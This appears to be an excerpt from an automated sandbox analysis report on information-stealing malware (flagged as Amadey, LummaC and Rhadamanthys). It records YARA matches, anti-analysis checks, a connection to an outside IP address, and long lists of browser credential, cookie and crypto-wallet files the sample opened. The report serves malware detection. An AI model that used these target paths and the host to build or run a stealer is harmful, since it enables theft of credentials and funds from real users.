YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

7_2_00405BFC

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: fe64902db3.exe, 00000023.00000003.3103978981.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2693165990.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2059203986.0000000005110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2062069633.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2031206255.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: fe64902db3.exe PID: 6044, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000002C.00000003.3230383274.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3260956534.0000000003150000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.3237144661.0000000005390000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.3236944014.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: fe64902db3.exe, 00000023.00000003.3103978981.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: fe64902db3.exe, 00000023.00000003.3103978981.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: fe64902db3.exe, 00000023.00000003.3103978981.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: fe64902db3.exe, 00000023.00000003.3081437963.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: fe64902db3.exe, 00000023.00000003.3103034955.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: fe64902db3.exe, 00000023.00000003.3081437963.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: fe64902db3.exe, 00000023.00000003.3103978981.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: fe64902db3.exe, 00000023.00000003.3081437963.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: fe64902db3.exe, 00000023.00000003.3081437963.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.5:49931 -> 176.53.146.212:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
